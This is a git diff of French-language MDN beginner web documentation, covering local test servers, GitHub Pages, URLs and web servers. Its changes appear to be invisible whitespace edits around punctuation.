b/files/fr/learn/common_questions/index.md index 1df629feb2..cd1fdc3fcc 100644 --- a/files/fr/learn/common_questions/index.md +++ b/files/fr/learn/common_questions/index.md @@ -34,7 +34,7 @@ Cette section couvre les mécaniques du Web — les questions en relation avec l Questions relatives aux outils/logiciels que vous pouvez utiliser pour construire des sites web. - [Combien ça coûte de créer quelque chose sur le Web?](/fr/docs/Learn/Common_questions/How_much_does_it_cost) - - : Quand vous démarrez votre site web, vous pouvez ne rien dépenser ou alors complètement dépasser vos estimations. Dans cet article nous aborderons le prix de chaque chose et de ce que vous aurez si vous payez (ou ne payez pas). + - : Quand vous démarrez votre site web, vous pouvez ne rien dépenser ou alors complètement dépasser vos estimations. Dans cet article nous aborderons le prix de chaque chose et de ce que vous aurez si vous payez (ou ne payez pas). - [Quel logiciel est nécessaire pour construire un site web?](/fr/docs/Learn/Common_questions/What_software_do_I_need) - : Dans cet article nous expliquerons quel logiciel est nécessaire pour l'édition, l'upload, ou pour la visualisation d'un site web. - [Quels sont les éditeurs disponibles?](/fr/docs/Learn/Common_questions/Available_text_editors) @@ -48,7 +48,7 @@ Questions relatives aux outils/logiciels que vous pouvez utiliser pour construir - [Comment transférer des fichiers vers un serveur web?](/fr/docs/Learn/Common_questions/Upload_files_to_a_web_server) - : Cet article montre comment mettre son site en ligne en utilisant un outil [FTP](/fr/docs/Glossary/FTP) — un des moyens les plus fréquents de publier son site afin qu'il soit disponible aux autres depuis leurs ordinateurs. - [Comment utiliser GitHub Pages?](/fr/docs/Learn/Common_questions/Using_GitHub_Pages) - - : Cet article fourni un guide basique pour publier du contenu en utilisant l'outil gh-pages de GitHub. + - : Cet article fourni un guide basique pour publier du contenu en utilisant l'outil gh-pages de GitHub. - [Comment héberger son site sur Google App Engine?](/fr/Learn/Common_questions/How_do_you_host_your_website_on_Google_App_Engine) - : Vous recherchez un endroit pour héberger votre site web? Voici un guide pas-à-pas pour héberger votre site sur Google App Engine. - [Quels outils sont disponibles pour corriger et améliorer les performances du site web?](/fr/docs/Tools/Performance) @@ -58,7 +58,7 @@ Questions relatives aux outils/logiciels que vous pouvez utiliser pour construir Cette section rassemble les questions liées à l'esthétique, la structure des pages, aux techniques d'accessibilité, etc. -- [Comment démarrer dans la conception de mon site web?](/fr/docs/Learn/Common_questions/Thinking_before_coding) +- [Comment démarrer dans la conception de mon site web?](/fr/docs/Learn/Common_questions/Thinking_before_coding) - : Cet article couvre la première étape la plus importante de tous les projets: définir ce que vous voulez accomplir avec. - [Que contiennent les mises en page classiques?](/fr/docs/Learn/Common_questions/Common_web_layouts) - : Lorsque vous concevez des pages pour votre site Web, il est bon d'avoir une idée des mises en page les plus courantes. Cet article présente quelques mises en page typiques du web, en analysant les parties qui composent chacune d'entre elles. diff --git a/files/fr/learn/common_questions/pages_sites_servers_and_search_engines/index.md b/files/fr/learn/common_questions/pages_sites_servers_and_search_engines/index.md index 3d501a266a..6a4960774e 100644 --- a/files/fr/learn/common_questions/pages_sites_servers_and_search_engines/index.md +++ b/files/fr/learn/common_questions/pages_sites_servers_and_search_engines/index.md @@ -11,7 +11,7 @@ Dans cet article, nous démystifions plusieurs notions liées au Web : page web, <table class="standard-table"> <tbody> <tr> - <th scope="row">Prérequis :</th> + <th scope="row">Prérequis :</th> <td> Vous devriez au préalable comprendre <a href="/fr/docs/Learn/Common_questions/How_does_the_Internet_work" @@ -20,7 +20,7 @@ Dans cet article, nous démystifions plusieurs notions liées au Web : page web, </td> </tr> <tr> - <th scope="row">Objectif :</th> + <th scope="row">Objectif :</th> <td> Être capable de décrire les différences entre une page web, un site web, un serveur web et un moteur de recherche. diff --git a/files/fr/learn/common_questions/set_up_a_local_testing_server/index.md b/files/fr/learn/common_questions/set_up_a_local_testing_server/index.md index 6f8b958dec..a45fecb75f 100644 --- a/files/fr/learn/common_questions/set_up_a_local_testing_server/index.md +++ b/files/fr/learn/common_questions/set_up_a_local_testing_server/index.md @@ -26,7 +26,7 @@ Cet article explique comment configurer un serveur de test local simple sur votr Vous devez au préalable savoir <a href="/fr/docs/Learn/How_the_Internet_works" >comment Internet fonctionne</a - > et + > et <a href="/fr/docs/Learn/What_is_a_Web_server" >ce qu'est un serveur Web</a >. @@ -41,33 +41,33 @@ Cet article explique comment configurer un serveur de test local simple sur votr ## Fichiers locaux contre fichiers distants -Dans les cours du MDN, la plupart du temps, on vous demande d'ouvrir les exemples directement dans le navigateur — vous pouvez le faire en double cliquant le fichier HTML, en déposant celui-ci dans la fenêtre de votre navigateur, ou en faisant _Fichier_ > _Ouvrir..._ et naviguer jusqu'au fichier HTML, etc... Il y a beaucoup de manières d'y arriver. +Dans les cours du MDN, la plupart du temps, on vous demande d'ouvrir les exemples directement dans le navigateur — vous pouvez le faire en double cliquant le fichier HTML, en déposant celui-ci dans la fenêtre de votre navigateur, ou en faisant _Fichier_ > _Ouvrir..._ et naviguer jusqu'au fichier HTML, etc... Il y a beaucoup de manières d'y arriver. -Vous savez que vous avez lancé l'exemple depuis un fichier local, lorsque l'URL commence par `file://` suivi du chemin d'accès dans votre système de fichiers. Par contre, si vous consultez un de nos exemples hébergés sur GitHub (ou n'importe quel autre serveur distant), l'adresse web commencera par `http://` ou `https://` ; dans ce cas le fichier a été servi via HTTP. +Vous savez que vous avez lancé l'exemple depuis un fichier local, lorsque l'URL commence par `file://` suivi du chemin d'accès dans votre système de fichiers. Par contre, si vous consultez un de nos exemples hébergés sur GitHub (ou n'importe quel autre serveur distant), l'adresse web commencera par `http://` ou `https://` ; dans ce cas le fichier a été servi via HTTP. ## Le problème du test local -Certains exemples ne fonctionneront pas si vous les ouvrez en tant que fichiers locaux. Il y a plusieurs raisons possibles, dont les plus courantes sont : +Certains exemples ne fonctionneront pas si vous les ouvrez en tant que fichiers locaux. Il y a plusieurs raisons possibles, dont les plus courantes sont : -- **Ils sont basés sur des requêtes asynchrones**. Certains navigateurs comme Chrome n'exécutent pas de requêtes asynchrones (voyez [Récolter des données depuis le serveur](/fr/docs/Learn/JavaScript/Client-side_web_APIs/Fetching_data)) si vous lancez simplement l'exemple comme un fichier local. Cela est dû à des restrictions de sécurité (voir [Sécurité des sites Web](/fr/docs/Learn/Server-side/First_steps/Website_security) pour en savoir plus). -- **Ils mettent en œuvre un langage spécifique, tournant sur le serveur**. Des langages côté-serveur (comme PHP ou Python) nécessitent un environnement spécifique fourni par le serveur pour interpréter le code et donner des résultats. +- **Ils sont basés sur des requêtes asynchrones**. Certains navigateurs comme Chrome n'exécutent pas de requêtes asynchrones (voyez [Récolter des données depuis le serveur](/fr/docs/Learn/JavaScript/Client-side_web_APIs/Fetching_data)) si vous lancez simplement l'exemple comme un fichier local. Cela est dû à des restrictions de sécurité (voir [Sécurité des sites Web](/fr/docs/Learn/Server-side/First_steps/Website_security) pour en savoir plus). +- **Ils mettent en œuvre un langage spécifique, tournant sur le serveur**. Des langages côté-serveur (comme PHP ou Python) nécessitent un environnement spécifique fourni par le serveur pour interpréter le code et donner des résultats. ## Créer un serveur HTTP local simple -Pour contourner le problème des requêtes asynchrones, nous devons tester de tels exemples en les exécutant depuis un serveur local. Le module `SimpleHTTPServer` de Python permet une mise en œuvre simple de cette solution. +Pour contourner le problème des requêtes asynchrones, nous devons tester de tels exemples en les exécutant depuis un serveur local. Le module `SimpleHTTPServer` de Python permet une mise en œuvre simple de cette solution. Voilà la marche à suivre : -1. Installer Python. Si vous utilisez GNU/Linux ou macOS, un environnement python est sans doute déjà disponible sur votre machine. Les utilisateurs de Windows pourront trouver un installeur depuis la page d'accueil de Python (on y trouve toutes les instructions) : +1. Installer Python. Si vous utilisez GNU/Linux ou macOS, un environnement python est sans doute déjà disponible sur votre machine. Les utilisateurs de Windows pourront trouver un installeur depuis la page d'accueil de Python (on y trouve toutes les instructions) : - Allez à [python.org](https://www.python.org/) - Sous Télécharger, cliquez le lien pour Python "3.xxx". - - Tout en bas de la page, télécharger le fichier pointé par le lien *Windows x86 executable installer*. + - Tout en bas de la page, télécharger le fichier pointé par le lien *Windows x86 executable installer*. - Exécuter ce programme quand le téléchargement est fini. - - Sur la première page de l'installeur, assurez-vous d'avoir coché la case "Ajouter Python 3.xxx to PATH". + - Sur la première page de l'installeur, assurez-vous d'avoir coché la case "Ajouter Python 3.xxx to PATH". - Cliquer _Install_, puis _Fermer_ quand l'installation est complète. -2. Ouvrez votre invite de commandes (Windows)/terminal (OS X et GNULinux). Pour vérifier que l'installation précédente s'est déroulée correctement, entrez la commande suivante : +2. Ouvrez votre invite de commandes (Windows)/terminal (OS X et GNULinux). Pour vérifier que l'installation précédente s'est déroulée correctement, entrez la commande suivante : ```bash python -V @@ -93,14 +93,14 @@ Voilà la marche à suivre : python -m SimpleHTTPServer ``` -5. Par défaut, il affiche la liste des fichiers du dossier sur un serveur de développement, sur le port 8000. Vous pouvez aller à ce serveur en saisissant l'URL `localhost:8000` dans votre navigateur web. Vous verrez le listing du dossier dans lequel le serveur tourne — cliquer le fichier HTML que vous voulez exécuter. +5. Par défaut, il affiche la liste des fichiers du dossier sur un serveur de développement, sur le port 8000. Vous pouvez aller à ce serveur en saisissant l'URL `localhost:8000` dans votre navigateur web. Vous verrez le listing du dossier dans lequel le serveur tourne — cliquer le fichier HTML que vous voulez exécuter. -> **Note :** Si le port 8000 est occupé, vous pouvez choisir un autre port en spécifiant une autre valeur après la commande par exemple `python -m http.server 7800` (Python 3.x) ou `python -m SimpleHTTPServer 7800` (Python 2.x). Vous pouvez maintenant accéder à votre contenu à l'adresse `localhost:7800`. +> **Note :** Si le port 8000 est occupé, vous pouvez choisir un autre port en spécifiant une autre valeur après la commande par exemple `python -m http.server 7800` (Python 3.x) ou `python -m SimpleHTTPServer 7800` (Python 2.x). Vous pouvez maintenant accéder à votre contenu à l'adresse `localhost:7800`. ## Faire fonctionner localement des langages serveur -Le module `SimpleHTTPServer` de Python est utile, mais il ne sait pas comment exécuter du code écrit dans des langages comme PHP ou Python. Pour gérer ça, vous aurez besoin de quelque chose en plus — ce dont vous aurez besoin exactement dépend du language serveur que vous essayez d'exécuter. Voici quelques exemples : +Le module `SimpleHTTPServer` de Python est utile, mais il ne sait pas comment exécuter du code écrit dans des langages comme PHP ou Python. Pour gérer ça, vous aurez besoin de quelque chose en plus — ce dont vous aurez besoin exactement dépend du language serveur que vous essayez d'exécuter. Voici quelques exemples : -- Pour exécuter du code Python coté-serveur, vous aurez besoin d'utiliser un framework web Python. Vous pouvez découvrir comment utiliser le framework Django en lisant [Django Web Framework (Python)](/fr/docs/Learn/Server-side/Django). [Flask](http://flask.pocoo.org/) est une alternative à Django, un peu plus légère. Pour l'exécuter, vous aurez besoin d'[installer Python/PIP](/fr/docs/Learn/Server-side/Django/development_environment#Installing_Python_3), puis Flask en utilisant `pip3 install flask`. À ce point, vous devriez être capable d'exécuter les exemples Python Flask en utilisant par exemple `python3 python-example.py`, puis consulter `localhost:5000` dans votre navigateur. -- Pour exécuter du code Node.js (JavaScript) côté-serveur, vous aurez besoin d'utiliser un noeud brut ou un framework construit par dessus ce dernier. Express est un bon choix — voir [Express Web Framework (Node.js/JavaScript)](/fr/docs/Learn/Server-side/Express_Nodejs). -- Pour exécuter du code PHP côté serveur, vous aurez besoin d'une configuration serveur qui peut interpréter PHP. De bonnes options pour tester PHP localement sont [MAMP](https://www.mamp.info/en/downloads/) (Mac and Windows) , [AMPPS](http://ampps.com/download) (Mac, Windows, Linux) and [LAMP](https://www.linux.com/learn/easy-lamp-server-installation) (Linux, Apache, MySQL, et PHP/Python/Perl). Ce sont des paquets complets qui créent des configurations locales vous permettant d'exécuter un serveur Apache, PHP et des bases de données MySQL. +- Pour exécuter du code Python coté-serveur, vous aurez besoin d'utiliser un framework web Python. Vous pouvez découvrir comment utiliser le framework Django en lisant [Django Web Framework (Python)](/fr/docs/Learn/Server-side/Django). [Flask](http://flask.pocoo.org/) est une alternative à Django, un peu plus légère. Pour l'exécuter, vous aurez besoin d'[installer Python/PIP](/fr/docs/Learn/Server-side/Django/development_environment#Installing_Python_3), puis Flask en utilisant `pip3 install flask`. À ce point, vous devriez être capable d'exécuter les exemples Python Flask en utilisant par exemple `python3 python-example.py`, puis consulter `localhost:5000` dans votre navigateur. +- Pour exécuter du code Node.js (JavaScript) côté-serveur, vous aurez besoin d'utiliser un noeud brut ou un framework construit par dessus ce dernier. Express est un bon choix — voir [Express Web Framework (Node.js/JavaScript)](/fr/docs/Learn/Server-side/Express_Nodejs). +- Pour exécuter du code PHP côté serveur, vous aurez besoin d'une configuration serveur qui peut interpréter PHP. De bonnes options pour tester PHP localement sont [MAMP](https://www.mamp.info/en/downloads/) (Mac and Windows) , [AMPPS](http://ampps.com/download) (Mac, Windows, Linux) and [LAMP](https://www.linux.com/learn/easy-lamp-server-installation) (Linux, Apache, MySQL, et PHP/Python/Perl). Ce sont des paquets complets qui créent des configurations locales vous permettant d'exécuter un serveur Apache, PHP et des bases de données MySQL. diff --git a/files/fr/learn/common_questions/thinking_before_coding/index.md b/files/fr/learn/common_questions/thinking_before_coding/index.md index d9c06b0336..f155d4ccc0 100644 --- a/files/fr/learn/common_questions/thinking_before_coding/index.md +++ b/files/fr/learn/common_questions/thinking_before_coding/index.md @@ -10,16 +10,16 @@ original_slug: Apprendre/Commencez_votre_projet_web --- {{IncludeSubnav("/fr/Apprendre")}} -Cette article présente l'étape primordiale de n'importe quel projet définir ce qu'on souhaite accomplir avec. +Cette article présente l'étape primordiale de n'importe quel projet définir ce qu'on souhaite accomplir avec. <table class="standard-table"> <tbody> <tr> - <th scope="row">Prérequis </th> + <th scope="row">Prérequis </th> <td>Aucun</td> </tr> <tr> - <th scope="row">Objectif </th> + <th scope="row">Objectif </th> <td> Apprendre à définir les objectifs pour donner une direction à votre projet. @@ -32,7 +32,7 @@ Cette article présente l'étape primordiale de n'importe quel projet définir Lors du démarrage d'un projet web, beaucoup de gens se concentrent sur l'aspect technique. Bien sûr, vous devez être familier avec la technique, mais ce qui importe vraiment est _ce que vous_ _voulez accomplir_. Oui, cela semble évident, mais de trop nombreux projets échouent, pas à cause d'un manque de savoir-faire technique, mais à cause d'un manque d'objectifs et de vision. -Alors, quand vous aurez une idée et que vous voudrez la concrétiser en un site web, il y a quelques questions auxquelles vous devrez répondre avant toute autre chose +Alors, quand vous aurez une idée et que vous voudrez la concrétiser en un site web, il y a quelques questions auxquelles vous devrez répondre avant toute autre chose - Qu'est-ce que je veux accomplir exactement ? - Comment un site web aiderait à atteindre mes objectifs ? @@ -42,7 +42,7 @@ Se poser ces questions et y répondre constituent la _conceptualisation_ du proj ## Pédagogie active -_Il n'y a pas la pédagogie active disponible pour l'instant. [S'il-vous-plaît, pensez à contribuer pour enrichir ce contenu !](/fr/docs/MDN/Getting_started)_ +_Il n'y a pas la pédagogie active disponible pour l'instant. [S'il-vous-plaît, pensez à contribuer pour enrichir ce contenu !](/fr/docs/MDN/Getting_started)_ ## Aller plus loin @@ -52,11 +52,11 @@ La technique est évidemment essentielle. Les musiciens doivent maîtriser leur Une discussion d'une heure avec des amis est un bon début, mais ce sera insuffisant. Vous devez vous asseoir et structurer vos idées pour avoir une vision claire du chemin que vous devrez parcourir afin de concrétiser vos idées. Pour ce faire, il vous suffit d'un stylo, de quelques feuilles de papier et d'un peu de temps pour répondre au moins aux questions suivantes. -> **Note :** Il existe d'innombrables moyens pour mener à bien des idées de projet. Nous ne pouvons pas tous les mentionner ici (un livre entier ne suffirait pas). Ce que nous allons présenter ici est une méthode simple pour gérer ce que les professionnels appellent [l'idéation](https://fr.wikipedia.org/wiki/Id%C3%A9ation), [la planification](https://fr.wikipedia.org/wiki/Planification) et [la gestion de projet](https://fr.wikipedia.org/wiki/Gestion_de_projet). +> **Note :** Il existe d'innombrables moyens pour mener à bien des idées de projet. Nous ne pouvons pas tous les mentionner ici (un livre entier ne suffirait pas). Ce que nous allons présenter ici est une méthode simple pour gérer ce que les professionnels appellent [l'idéation](https://fr.wikipedia.org/wiki/Id%C3%A9ation), [la planification](https://fr.wikipedia.org/wiki/Planification) et [la gestion de projet](https://fr.wikipedia.org/wiki/Gestion_de_projet). ### Qu'est-ce que je veux accomplir exactement ? -C'est la question la plus importante à laquelle vous devez répondre, car il en découle tout le reste. Énumérez tous les objectifs que vous souhaitez atteindre. Ce peut être n'importe quoi vendre des biens pour faire de l'argent, exprimer des opinions politiques, rencontrer de nouveaux amis, donner des concerts avec des musiciens, collectionner des images de chat ou autre chose encore. +C'est la question la plus importante à laquelle vous devez répondre, car il en découle tout le reste. Énumérez tous les objectifs que vous souhaitez atteindre. Ce peut être n'importe quoi vendre des biens pour faire de l'argent, exprimer des opinions politiques, rencontrer de nouveaux amis, donner des concerts avec des musiciens, collectionner des images de chat ou autre chose encore. Supposons que vous êtes un musicien. Vous pourriez souhaiter @@ -94,7 +94,7 @@ Comment un site web peut-il m'aider à atteindre mes objectifs ? En répondant ### Qu'est-ce qui doit être fait, et dans quel ordre, pour atteindre mes objectifs ? -Maintenant que vous savez ce que vous voulez accomplir, il est temps de transformer ces objectifs en mesures concrètes. Note vos objectifs ne sont pas nécessairement gravés dans la pierre. Ils évoluent au fil du temps, même dans le cadre du projet, si vous rencontrez des obstacles inattendus ou tout simplement si vous changez d'avis. +Maintenant que vous savez ce que vous voulez accomplir, il est temps de transformer ces objectifs en mesures concrètes. Note vos objectifs ne sont pas nécessairement gravés dans la pierre. Ils évoluent au fil du temps, même dans le cadre du projet, si vous rencontrez des obstacles inattendus ou tout simplement si vous changez d'avis. Plutôt qu'une longue explication, revenons à notre exemple avec ce tableau @@ -191,5 +191,5 @@ Comme vous pouvez le voir, l'idée simple: « Je veux faire un site » génère ## Prochaines étapes -- Commencer à apprendre la technique [Comment fonctionne l'Internet ?](/fr/Apprendre/Fonctionnement_Internet) -- Approfondir le design et la conception [Conception d'une page web](/fr/Apprendre/Concevoir_page_web) +- Commencer à apprendre la technique [Comment fonctionne l'Internet ?](/fr/Apprendre/Fonctionnement_Internet) +- Approfondir le design et la conception [Conception d'une page web](/fr/Apprendre/Concevoir_page_web) diff --git a/files/fr/learn/common_questions/upload_files_to_a_web_server/index.md b/files/fr/learn/common_questions/upload_files_to_a_web_server/index.md index 7684d4f048..72276db0a3 100644 --- a/files/fr/learn/common_questions/upload_files_to_a_web_server/index.md +++ b/files/fr/learn/common_questions/upload_files_to_a_web_server/index.md @@ -13,7 +13,7 @@ Cet article illustre comment publier votre site en ligne grâce à des outils {{ <table class="standard-table"> <tbody> <tr> - <th scope="row">Prérequis :</th> + <th scope="row">Prérequis :</th> <td> Vous devriez au préalable comprendre <a href="/fr/Apprendre/Qu_est-ce_qu_un_serveur_web" @@ -33,7 +33,7 @@ Cet article illustre comment publier votre site en ligne grâce à des outils {{ </td> </tr> <tr> - <th scope="row">Objectifs :</th> + <th scope="row">Objectifs :</th> <td> Apprendre à envoyer des fichiers vers un serveur en utilisant FTP. </td> diff --git a/files/fr/learn/common_questions/using_github_pages/index.md b/files/fr/learn/common_questions/using_github_pages/index.md index 94acc66b49..b4c6da6ffb 100644 --- a/files/fr/learn/common_questions/using_github_pages/index.md +++ b/files/fr/learn/common_questions/using_github_pages/index.md @@ -50,7 +50,7 @@ La meilleure façon d'envoyer votre code sur GitHub est d'utiliser l'interface e > **Note :** Il existe également des [interfaces graphiques pour Git](http://git-scm.com/downloads/guis) qui permettent de faire la même chose. N'hésitez pas à les utiliser si vous ne vous sentez pas à l'aise avec la ligne de commande. -Chaque système d'exploitation possède sa propre interface en ligne de commande : +Chaque système d'exploitation possède sa propre interface en ligne de commande : - **Windows** : **l'invite de commande**. Celle-ci peut être lancée en utilisant la touche Windows et en tapant _Invite de commande_ avant de sélectionner l'option dans la liste qui apparaît. Windows utilise certaines conventions différentes de celles choisies par Linux et OS X, les commandes peuvent donc varier légèrement (par exemple, dans Windows, on utilisera `\` pour indiquer un sous-répertoire alors que Linux et OS X utiliseront `/`). - **OS X** : **le terminal**. On le trouvera dans _Applications > Utilitaires_. @@ -100,6 +100,6 @@ Si vous souhaitez modifier votre site et le mettre à jour sur GitHub, modifiez git commit -m 'Un autre commit' git push -Vous pouvez utiliser un autre message que « un autre commit » pour indiquer les changements que vous avez effectués. +Vous pouvez utiliser un autre message que « un autre commit » pour indiquer les changements que vous avez effectués. Dans cet article, nous n'avons fait qu'effleurer la surface de Git. Pour en savoir plus, n'hésitez pas à utiliser les [pages d'aide de GitHub](https://help.github.com/index.html) (en anglais) ou encore [le manuel Pro Git](http://git-scm.com/book/fr/v1) (en français). diff --git a/files/fr/learn/common_questions/what_are_browser_developer_tools/index.md b/files/fr/learn/common_questions/what_are_browser_developer_tools/index.md index a3fd4a6299..0eddd50270 100644 --- a/files/fr/learn/common_questions/what_are_browser_developer_tools/index.md +++ b/files/fr/learn/common_questions/what_are_browser_developer_tools/index.md @@ -30,7 +30,7 @@ Comment faire pour que cette sous-fenêtre apparaisse ? Trois méthodes : - **_Au clavier._** _Ctrl + Shift + I_, sauf pour : - **Internet Explorer.** _F12_ - - **Mac OS X.** *⌘ + ⌥ + I* + - **Mac OS X.** *⌘ + ⌥ + I* - **_Via les menus._** diff --git a/files/fr/learn/common_questions/what_are_hyperlinks/index.md b/files/fr/learn/common_questions/what_are_hyperlinks/index.md index a6b9fa4315..a5ef402dad 100644 --- a/files/fr/learn/common_questions/what_are_hyperlinks/index.md +++ b/files/fr/learn/common_questions/what_are_hyperlinks/index.md @@ -14,7 +14,7 @@ Dans cet article, nous verrons ce que sont les liens et en quoi ils sont importa <table class="standard-table"> <tbody> <tr> - <th scope="row">Prérequis :</th> + <th scope="row">Prérequis :</th> <td> Vous devriez, au préalable, comprendre <a href="/fr/Learn/How_the_Internet_works" diff --git a/files/fr/learn/common_questions/what_is_a_domain_name/index.md b/files/fr/learn/common_questions/what_is_a_domain_name/index.md index ad0ba70576..c7d8666ec2 100644 --- a/files/fr/learn/common_questions/what_is_a_domain_name/index.md +++ b/files/fr/learn/common_questions/what_is_a_domain_name/index.md @@ -15,7 +15,7 @@ Dans cet article, nous discutons des noms de domaine : ce qu'ils sont, comment i <table class="standard-table"> <tbody> <tr> - <th scope="row">Prérequis :</th> + <th scope="row">Prérequis :</th> <td> Pour commencer, vous devez comprendre <a href="/fr/Apprendre/Fonctionnement_Internet" @@ -25,7 +25,7 @@ Dans cet article, nous discutons des noms de domaine : ce qu'ils sont, comment i </td> </tr> <tr> - <th scope="row">Objectif :</th> + <th scope="row">Objectif :</th> <td> Apprendre ce qu'est un nom de domaine, son fonctionnement et son importance. diff --git a/files/fr/learn/common_questions/what_is_a_url/index.md b/files/fr/learn/common_questions/what_is_a_url/index.md index 178bbd77f8..f0688662ef 100644 --- a/files/fr/learn/common_questions/what_is_a_url/index.md +++ b/files/fr/learn/common_questions/what_is_a_url/index.md @@ -15,7 +15,7 @@ Cet article aborde les _Uniform Resource Locators_ (URL) en expliquant leur rôl <table class="standard-table"> <tbody> <tr> - <th scope="row">Prérequis :</th> + <th scope="row">Prérequis :</th> <td> Vous devez au préalable savoir <a href="/fr/Apprendre/Fonctionnement_Internet" @@ -31,13 +31,13 @@ Cet article aborde les _Uniform Resource Locators_ (URL) en expliquant leur rôl </td> </tr> <tr> - <th scope="row">Objectifs :</th> + <th scope="row">Objectifs :</th> <td>Savoir ce qu'est une URL et comprendre son rôle sur le Web.</td> </tr> </tbody> </table> -Avec les concepts d'{{Glossary("hypertexte")}} et de {{Glossary("HTTP")}}, les **_URL_** sont une autre pierre angulaire du Web. Celles-ci sont utilisées par les navigateurs pour accéder aux différentes ressources publiées sur le Web. +Avec les concepts d'{{Glossary("hypertexte")}} et de {{Glossary("HTTP")}}, les **_URL_** sont une autre pierre angulaire du Web. Celles-ci sont utilisées par les navigateurs pour accéder aux différentes ressources publiées sur le Web. **URL** signifie _Uniform Resource Locator_ (ou, en français, « localisateur uniforme de ressource »). Une URL est simplement l'adresse d'une ressource donnée, unique sur le Web. En théorie, chaque URL valide pointe vers une ressource unique. Ces ressources peuvent être des pages HTML, des documents CSS, des images, etc. En pratique, il y a quelques exceptions : les URL peuvent pointer vers une ressource qui n'existe plus ou qui a été déplacée. La ressource représentée par l'URL et l'URL elle-même sont gérées par le serveur web. C'est donc au gestionnaire de ce serveur que de gérer soigneusement la ressource et l'URL associée. @@ -129,7 +129,7 @@ Prenons quelques exemples concrets pour illustrer le concept. #### Exemples d'URL relatives -Pour mieux comprendre les exemples qui suivent, nous nous placerons dans le contexte où les URL suivantes sont appelées depuis un document situé à l'URL suivante `https://developer.mozilla.org/fr/docs/Apprendre` +Pour mieux comprendre les exemples qui suivent, nous nous placerons dans le contexte où les URL suivantes sont appelées depuis un document situé à l'URL suivante `https://developer.mozilla.org/fr/docs/Apprendre` - Sous-ressources @@ -145,11 +145,11 @@ Pour mieux comprendre les exemples qui suivent, nous nous placerons dans le cont ../CSS/display - Dans ce cas, on utilise la convention, héritée du monde UNIX : `../` indique au navigateur de remonter d'un répertoire dans l'arborescence. L'URL absolue correspodante à la ressource visée est ici `https://developer.mozilla.org/fr/docs/Apprendre/../CSS/display`, qui peut être simplifiée en : `https://developer.mozilla.org/fr/docs/CSS/display` + Dans ce cas, on utilise la convention, héritée du monde UNIX : `../` indique au navigateur de remonter d'un répertoire dans l'arborescence. L'URL absolue correspodante à la ressource visée est ici `https://developer.mozilla.org/fr/docs/Apprendre/../CSS/display`, qui peut être simplifiée en : `https://developer.mozilla.org/fr/docs/CSS/display` ### Les URL sémantiques -Bien qu'utiles sur le plan technique, les URL représentent également un point d'entrée vers un site web, compréhensible par un lecteur humain. Une URL peut être mémorisée et n'importe qui peut en saisir une dans la barre d'adresse d'un navigateur. Une bonne pratique, préconisée par les concepteurs du web, est de construire des [_URL sémantiques_](http://en.wikipedia.org/wiki/Semantic_URL). Les URL sémantiques utilisent des termes qui peuvent être compris par n'importe quel lecteur, quel que soit son niveau de connaissance. +Bien qu'utiles sur le plan technique, les URL représentent également un point d'entrée vers un site web, compréhensible par un lecteur humain. Une URL peut être mémorisée et n'importe qui peut en saisir une dans la barre d'adresse d'un navigateur. Une bonne pratique, préconisée par les concepteurs du web, est de construire des [_URL sémantiques_](http://en.wikipedia.org/wiki/Semantic_URL). Les URL sémantiques utilisent des termes qui peuvent être compris par n'importe quel lecteur, quel que soit son niveau de connaissance. Les ordinateurs n'ont pas strictement besoin d'utiliser des URL sémantiques et vous avez déjà sûrement rencontré des URL pleines de charabia et de caractères aléatoires, URL qui fonctionnaient parfaitement. Cela dit, il y a plusieurs avantages à créer des URL compréhensibles par les humains : diff --git a/files/fr/learn/common_questions/what_is_a_web_server/index.md b/files/fr/learn/common_questions/what_is_a_web_server/index.md index ab4cfd0cd1..c734d21105 100644 --- a/files/fr/learn/common_questions/what_is_a_web_server/index.md +++ b/files/fr/learn/common_questions/what_is_a_web_server/index.md @@ -13,7 +13,7 @@ Dans cet article, nous verrons ce que sont les serveurs web, comment ils fonctio <table class="standard-table"> <tbody> <tr> - <th scope="row">Prérequis :</th> + <th scope="row">Prérequis :</th> <td> Vous devriez au préalable savoir<a href="/fr/docs/Apprendre/Fonctionnement_Internet" @@ -27,7 +27,7 @@ Dans cet article, nous verrons ce que sont les serveurs web, comment ils fonctio </td> </tr> <tr> - <th scope="row">Objectifs :</th> + <th scope="row">Objectifs :</th> <td> Vous apprendrez ce qu'est un serveur web et comprendrez son fonctionnement général. @@ -105,9 +105,9 @@ Sur un serveur web, le serveur HTTP est responsable du traitement des requêtes En résumé, un serveur peut « servir » du contenu statique ou dynamique. Un contenu « statique » signifie qu'il est servi tel quel. Les sites web statiques sont les plus simples à mettre en œuvre et il sera donc préférable de commencer par un site statique. -Un site « dynamique » signifie que le serveur traite le contenu ou le génère à la volée depuis les informations contenues dans une base de données. Cette solution est plus flexible mais beaucoup plus complexe à mettre en œuvre. +Un site « dynamique » signifie que le serveur traite le contenu ou le génère à la volée depuis les informations contenues dans une base de données. Cette solution est plus flexible mais beaucoup plus complexe à mettre en œuvre. -Prenons l'exemple de la page que vous êtes en train de lire. Sur le serveur web qui l'héberge, il y a une serveur d'applications qui tire l'article d'une base de données, le formate et l'insère dans différents modèles HTML. Une fois ce traitement effectué, le serveur envoie le fichier vers votre navigateur. Ici, le serveur d'applications s'appelle [Kuma](/fr/docs/MDN/Kuma) et est construit en [Python](https://www.python.org/) (grâce au *framework* [Django](https://www.djangoproject.com/)). L'équipe Mozilla a construit Kuma afin qu'il réponde aux besoins spécifiques de MDN mais il existe de nombreuses autres applications, éventuellement construites sur d'autres technologies. +Prenons l'exemple de la page que vous êtes en train de lire. Sur le serveur web qui l'héberge, il y a une serveur d'applications qui tire l'article d'une base de données, le formate et l'insère dans différents modèles HTML. Une fois ce traitement effectué, le serveur envoie le fichier vers votre navigateur. Ici, le serveur d'applications s'appelle [Kuma](/fr/docs/MDN/Kuma) et est construit en [Python](https://www.python.org/) (grâce au *framework* [Django](https://www.djangoproject.com/)). L'équipe Mozilla a construit Kuma afin qu'il réponde aux besoins spécifiques de MDN mais il existe de nombreuses autres applications, éventuellement construites sur d'autres technologies. Il y a tellement de serveurs d'applications qu'il est difficile d'en suggérer un en particulier. Certains serveurs d'applications sont consacrés à certaines catégories de site web comme les blogs, les wikis, les boutiques en ligne, etc. D'autres, appelés {{Glossary("CMS")}} (pour _Content Management Systems_ en anglais ou « Systèmes de gestion des contenus ») sont plus génériques. Si vous construisez un site web dynamique, prenez le temps d'étudier les outils disponibles pour choisir celui qui correspondra à votre projet. Sauf si vous souhaitez apprendre des éléments de programmation serveur (ce qui est très intéressant), vous n'avez pas besoin de créer votre serveur d'applications de toute pièce (cela reviendrait à réinventer la roue). diff --git a/files/fr/learn/common_questions/what_is_accessibility/index.md 